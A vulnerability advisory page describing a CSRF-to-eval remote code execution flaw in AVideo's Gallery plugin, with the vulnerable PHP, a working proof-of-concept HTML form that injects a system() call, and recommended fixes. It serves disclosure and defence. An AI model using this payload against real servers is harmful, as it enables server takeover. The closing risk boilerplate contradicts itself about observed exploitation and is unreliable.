Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-xggw-g9pm-9qhh
No affected components available
Summary
The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.
Details
Vulnerable code — plugin/Gallery/view/saveSort.json.php:20-25:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
foreach ($_REQUEST['sections'] as $key => $value) {
$obj->sectionsSaved[] = array($key=>$value);
eval("\$object->{$value}Order = \$key;");
}
$obj->error = !$gallery->setDataObject($object);
}
The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.
CSRF enablement — objects/include_config.php:134-137:
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.
No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.
Exploit chain:
- Attacker crafts a page with an auto-submitting form targeting
saveSort.json.php - Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
- The browser sends the cross-site POST request with the admin's session cookie attached (due to
SameSite=None) User::isAdmin()passes because the admin's session is present- The injected PHP code in the
sectionsarray value is passed toeval()and executes
PoC
Step 1: Host the following HTML on an attacker-controlled server:
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
<input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
The base64 decodes to id;hostname.
Step 2: Lure an authenticated AVideo admin to visit the page.
Step 3: The eval on line 24 executes:
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;
This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
Expected result: The id and hostname commands execute on the server under the web server's user context.
Impact
- Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
- Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
- Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
- Blast radius — Any AVideo instance running over HTTPS (which triggers
SameSite=None) where an admin can be lured to click a link is vulnerable.
Recommended Fix
Primary fix — Replace eval() with an allowlist check:
In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
$allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
'Subscribe', 'Popular', 'LiveStream', 'Category',
'Program', 'Channel'];
foreach ($_REQUEST['sections'] as $key => $value) {
if (!in_array($value, $allowedSections, true)) {
continue;
}
$obj->sectionsSaved[] = array($key => $value);
$property = $value . 'Order';
$object->$property = intval($key);
}
$obj->error = !$gallery->setDataObject($object);
}
This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.
Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:
ini_set('session.cookie_samesite', 'Lax');
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard